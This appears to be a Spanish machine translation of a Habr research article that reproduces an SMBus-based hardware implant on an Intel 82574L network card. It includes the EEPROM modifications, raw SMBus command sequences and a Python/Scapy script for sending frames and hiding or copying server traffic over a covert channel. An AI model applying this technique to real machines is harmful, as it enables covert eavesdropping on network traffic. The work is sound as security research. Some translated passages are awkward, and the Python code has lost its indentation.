Fabricando su propio implante para electrónica



La historia de Bloomberg de que supuestamente se instalaron algunos implantes en las placas base [los chinos usaron un microchip para controlar las computadoras estadounidenses ] no pasó desapercibida. Después de eso, muchas personas compartieron ideas sobre la posibilidad de crear tales implantes (su tamaño estimado, capacidades o método de detección).

Unos días después, la revista Bloomberg publicó un artículo con evidencia adicional. Esto es lo que despertó nuestro interés específicamente:
El servidor legal envió mensajes de una manera, el implante en la otra, pero parecía que todo el tráfico provenía de un servidor de confianza.


Hay formas de interactuar con la tarjeta de red directamente desde la placa base. Varias personas indicaron que puede jugar con BMC (Baseboard Management Controller, un componente que permite el acceso al servidor además del canal principal), lo que permitirá que el implante controle el BMC y obtenga acceso a la tarjeta de red. Pero, ¿cómo funciona esto en la práctica? Veamos si podemos reproducir esto.

Posición inicial


Veamos las posibles interfaces entre la NIC ( tarjeta de red ) y el BMC. Uno de los principales protocolos para trabajar en un canal dedicado es la interfaz inteligente de administración de la plataforma IPMI.

IPMI


Wikipedia dice que IPMI es "una interfaz de administración de plataforma inteligente diseñada para monitorear y administrar de manera autónoma las funciones que están integradas directamente en el hardware y el firmware de las plataformas de servidor. Las características clave de IPMI son el monitoreo, la restauración de las funciones de administración, el registro y el inventario, que están disponibles independientemente del procesador, el BIOS y el sistema operativo. Las funciones de administración de la plataforma pueden estar disponibles incluso cuando el sistema está apagado ". Muy similar a lo que necesitamos.

El siguiente diagrama de flujo muestra una posible ruta de implementación del proyecto:



IPMI en realidad define dos canales de banda lateral para la NIC: SMBus y NC-SI. NC-SI es un reemplazo de SMBus de última generación que admite velocidades de transferencia de datos mejoradas y otras características nuevas. El problema es que ella necesita más señales (alrededor de 10), y es mucho más difícil intervenir en su trabajo cuando estamos trabajando con un implante. Entonces, por ahora, detengámonos en SMBus.

SMBus


SMBus (System Management Bus) es un protocolo de comunicación en serie para dispositivos de alimentación. Bus de dos hilos simple de un lado que proporciona comunicaciones sin complicaciones. La mayoría de las veces se usa en computadoras para conectar la placa base con una fuente de alimentación y enviar instrucciones de encendido / apagado. Basado en el bus I 2 C , comúnmente utilizado en microcontroladores. La interfaz solo necesita dos señales (frecuencia de reloj y datos), y la tercera señal es una interrupción. Perfecto para el protocolo de juegos de implantes.

Primer contacto


Tienes que ser inteligente, no tener acceso a la placa base con BMC. Al estudiar las características técnicas de las placas base del servidor, descubrimos que algunas de ellas usan el chip Intel 82574L . Según la documentación , proporciona la "interfaz de transferencia avanzada SMBus", justo lo que necesita. Y lo mejor de todo, viene en formato de tarjeta PCI-E.

Acceso SMBus


Fuimos a la tienda y ahora tenemos tarjetas Intel EXPI9301CTBLK con el chip 82574L. Que ahora

La documentación puede rastrear SMB_DAT y SMB_ALRT_N. Afortunadamente, todos resultaron estar disponibles en las almohadillas de contacto. Todo parece ser bastante fácil.


NIC PCB. Arriba a la izquierda - EEPROM, arriba a la derecha - conector para SMBus [ALRT | CLK | DAT]. Tenga en cuenta que R39 y R40 están sellados, lo que prohíbe el acceso a SMBus para el conector PCIe.

Conectamos la sonda I 2 C y escaneamos el SMBus, pero no contábamos nada útil. La documentación dice que SMBus solo está habilitado cuando se establece un registro de bits específico. Este valor se carga desde la EEPROM. Es hora de cavar más profundo.

Habilitar acceso a SMBus


La documentación nos ayuda nuevamente. El acceso a SMBus está determinado por el valor del registro cargado desde la EEPROM de la NIC. Afortunadamente, EEPROM se puede leer con flashrom. Al descargar el contenido de la EEPROM, podemos analizar y cambiar los valores:

> ./flashrom -p buspirate_spi:dev=/dev/hydrabus --read /tmp/flash.dump
flashrom p1.0-87-g9891b75-dirty on Linux 4.18.12-arch1-1-ARCH (x86_64)
flashrom is free software, get the source code at https://flashrom.org

Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip "W25X40" (512 kB, SPI) on buspirate_spi.
Reading flash... done.


A juzgar por el mapa NVM (capítulo 6.1 de la documentación), está claro que necesitamos cambiar dos valores:

  • Init Control Word 2 [MNGM] (Hoja de datos del capítulo 6.1.1.6)
  • Compatibilidad [ASF SMBus Connected] (Hoja de datos, capítulo 6.1.2.1.1)
  • Compatibilidad [SMBus Connected] (Hoja de datos, capítulo 6.1.2.1.1)

Solo es necesario tener en cuenta que en EEPROM los datos se almacenan en formato little endian.

Después de eso, todavía tenemos que lidiar con el valor de Checksum. El Capítulo 6.1.2.11 establece que la suma de todas las palabras en el rango [0x00-0x40] debe ser 0xBABA. Un poco de Python nos ayudará a calcular la suma de verificación correcta:

import struct
data = open('/tmp/flash.mod', 'rb').read()
tot = 0
for i in range(0x3f):
tot = (tot + struct.unpack('<H',data[2*i:(2*i)+2])[0]) & 0xffff

print("Checksum word must be : " + hex(0xbaba-tot))
#Checksum word must be : 0x9efb


Y finalmente, todos nuestros cambios para EEPROM:

< 00000000: 6805 ca89 b22e 2004 46f7 8010 ffff ffff h..... .F.......
> 00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h.....0.F.......
< 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5a9c i...k.........Z.
> 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i...k.........Z.

< 00000070: ffff ffff ffff ffff ffff 3001 ffff 0bef ..........0.....
> 00000070: ffff ffff ffff ffff ffff 3001 ffff fb9e ..........0.....


Después de hacer cambios y flashear la EEPROM, conectamos una sonda I 2 C y:

i2c1> scan
Device found at address 0x49
i2c1>


La dirección I 2 C está codificada en siete bits, la dirección que necesitamos se obtiene como 0x49 << 1 = 0x92.

Ahora tenemos un diagrama de trabajo para nuestro implante. Podemos enviar comandos a la NIC:



Recibiendo información


Como habrás adivinado, continuamos leyendo la documentación y enviando comandos especialmente preparados a la NIC para verificar que todo funcionara como se esperaba.

La documentación describe todo lo que necesita saber sobre el formato de transacción en el capítulo 8.4.4. La única diferencia es que no necesitamos calcular el PEC (suma de verificación para SMBus, que se calcula para cada paquete). Por ejemplo, podemos enviar el comando CMD a la dirección SLAVE utilizando la siguiente secuencia:

[START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]

[START] y [STOP] son ​​las condiciones START y STOP definidas por I 2 C.

Por ejemplo, el comando para leer la dirección MAC (descrito en el capítulo 8.8.2.3) será 0xD4. Enviamos el comando a SMBus en modo I 2 C:

[START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]

Cuando se transfiere a los equipos Hydrabus, esto será:

i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ]
I2C START
WRITE: 0x92 ACK 0xD4 ACK <== [NIC address] [command]
I2C START <== Switch state
WRITE: 0x92 ACK <== [NIC address]
07 D4 | .. <== Read [length] [header]
68 05 CA 89 B2 2E | h..... <== Read MAC address bytes
NACK
I2C STOP


Y sí, ¡tenemos nuestra dirección MAC!

Hacer un implante


Ahora, sabiendo cómo puede comunicarse con la NIC, veamos cómo puede usar este canal para robar el tráfico de la red y enviar datos a través de la red. El Capítulo 8 de la documentación describe todo lo que necesita para hacer esto.

Enviando paquetes


Descrito en los capítulos 8.6 y 8.8.1. Simplemente podemos crear una trama de Ethernet usando comandos. Aquí hay un script de ejemplo para Hydrabus o Bus Pirate para enviar un paquete:

import serial
import struct
from scapy.all import *

ser = serial.Serial('/dev/ttyACM0',115200)

def send_frame(pkt):
# Define the frame size
pktlen = struct.pack("B", len(pkt))

# Define the data length to be sent
fulllen = struct.pack(">h", len(pkt)+3)

# I2C write-then-read. Send frame + SMBus header, receive 0
ser.write('\x08'+fulllen+'\x00\x00')
ser.write("\x92\xc4"+pktlen+pkt)

# If packet has been sent successfully
if ser.read(1) == '\x01':
print "Send OK"
else:
print "Error sending"
ser.write('\x00')
ser.write('\x00')
ser.write('\x0F\n')
quit()

# Open Hydrabus in binary mode
for i in xrange(20):
ser.write("\x00")
if "BBIO1" not in ser.read(5):
print "Could not get into binary mode"
quit()

# Switch to I2C mode
ser.write('\x02')
if "I2C1" not in ser.read(4):
print "Cannot set I2C mode"
quit()

#Create the frame to send
p = Ether(src="11:22:33:44:55:66", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.31.32.82", dst="10.31.32.80")/ICMP()

#Send the frame
send_frame(str(p))

# Return to main binary mode
ser.write('\x00')
#reset to console mode
ser.write('\x0F\n')


Después de ejecutar el script, puede ver el paquete que viene de la máquina con el implante y, lo más interesante, el servidor en sí no ve este paquete en absoluto:


Tcpdump de la máquina del atacante a la izquierda, servidor a la derecha

Paquetes de lectura


Filtrado


Para averiguar qué marcos deben ir a SMBus, la NIC utiliza filtros de control. Mapean el tráfico de la red y lo redirigen a PCIe, a SMBus, o tanto allí como allí. Desde nuestro punto de vista, esto nos brinda una gran flexibilidad:

  • Puede rastrear el tráfico configurando un filtro que lo escaneará y lo redirigirá a PCIe y SMBus.
  • Puede hacer desaparecer el tráfico dirigiéndolo solo a SMBus.
  • Puede crear un canal oculto que no será visible para el servidor con el implante.

Lo más interesante es que el filtro se puede configurar para rastrear varios elementos del marco:

  • Puerto UDP / TCP
  • VLAN
  • IPv4 - IPv6
  • Dirección MAC
  • ...

(Para una lista completa, vea el capítulo 8.4.2.1)

Hay siete filtros MDEF independientes [0: 6] disponibles, y cada uno de ellos se puede configurar para redirigir el tráfico correspondiente a PCIe sobre SMBus utilizando el registro MANC2H (para más detalles, consulte el capítulo 8.4.3).

Implementación


Resultó ser bastante difícil configurar todo correctamente, probamos muchas combinaciones diferentes para que el filtro funcionara. Afortunadamente, la nota sobre la aplicación de Intel nos dio más detalles sobre cómo ejecutar los filtros de la manera que necesitamos.

Usando nuestra sonda I 2 C, podemos configurar todo esto con cuatro comandos:

//
[ 0x92 0xca 0x01 0x40 ]
// MDEF[0] , UDP/664 UDP/623
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ]
// MANC2H
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]


Como se describe en el capítulo 8.8.1.3, es necesario establecer varios bits para permitir la recepción de datos y enviar marcos nuevamente a nuestro implante. Elegimos la alerta SMBus porque otros modelos permiten que la tarjeta de red realice solicitudes asíncronas a SMBus (para más detalles, consulte el capítulo 8.4.5).

Marcos de lectura


Como utilizamos el método de alerta SMBus, teníamos que esperar que la señal SMB_ALRT_N se apagara antes de enviar el comando Recibir paquete TCO. Si esperamos demasiado, la NIC rechazará el paquete.

Para ilustrar el diagrama, enviaremos marcos periódicamente y enviaremos comandos de lectura, solo para confirmar que este principio funciona. El esquema se ve así:

  • Un servidor con un implante tiene filtros que monitorean el tráfico con UDP / 623 (capítulo 3.6.1.2).
  • El implante se simula con Hydrabus.
  • Otro servidor envía paquetes que caen bajo el filtro utilizando el script Scapy:

from scapy.all import *
p=Ether()/IP(dst="10.31.32.81")/UDP(dport=0x26f)/"MALICIOUS PAYLOAD"
while(1):sendp(p)


Resulta algo interesante:



A la izquierda, SMBus lee el cuadro; los datos del cuadro se muestran a continuación. A la derecha, tcpdump, que se ejecuta en un servidor con un implante, no muestra las tramas entrantes.

Frame Relay


Al cambiar el registro MANC2H, es posible asegurarse de que el tráfico que se envía a SMBus y PCIe se muestre correctamente en el servidor. Por ejemplo, creemos un filtro de intercepción que responda al tráfico UDP / 161 (SNMP) y lo envíe a SMBus y PCIe:

//
[ 0x92 0xca 0x01 0x40 ]
// - 0 161 (0xa1)
[ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ]
// MDEF[0] , - 0
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ]
// MANC2H MDEF[0] PCIe
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]


Al habilitar los filtros, podemos enviar una solicitud SNMP al servidor con el implante y ver el paquete que interceptó el implante. Al mismo tiempo, el servidor responde a la solicitud, lo que significa que el paquete se redirigió correctamente a SMBus y PCIe:


Arriba hay una solicitud SNMP interceptada del implante. A continuación: la solicitud SNMP llegó al servidor.

Conclusiones


Describimos un posible método para introducir un microcontrolador pequeño y económico como implante a nivel de NIC. Tal implante necesita al menos cuatro contactos (Vcc, GND, CLK, DAT), y puede controlar la tarjeta del servidor. Entre sus características:

  • Escuchando el tráfico de red entrante al servidor.
  • Recibir comandos de la red sin el conocimiento del servidor.
  • Transmisión de datos a través de la red sin el conocimiento del servidor.

En nuestro ejemplo, por simplicidad, Hydrabus se usó como interfaz para I 2 C / SMBus, pero esto se puede hacer con la misma facilidad en un microcontrolador pequeño, por ejemplo, ATtiny85 (es aproximadamente del tamaño de una EEPROM para NIC).

Sin embargo, en la vida real, el acceso a dicho implante sería solo para SMBus. Dependiendo del esquema de la placa base, este dispositivo puede ser el único disponible, y luego la interacción con el sistema operativo del servidor será imposible. En el caso de que se requiera un control total sobre el sistema operativo, es mejor cambiar el código BMC, ya que ya tiene acceso a todos los buses interesantes y no deja rastros visibles en la placa base.

Otra desventaja de tal implante es que puede transmitir datos a velocidades del orden de 100 Kb / s, lo que no es suficiente para un estudio completo del tráfico. Además, el implante puede interceptar solo el tráfico proveniente de la red. Como resultado, esta solución parece ineficaz en comparación con los esfuerzos necesarios para su implementación en el equipo objetivo.

Source: https://habr.com/ru/post/es429190/


All Articles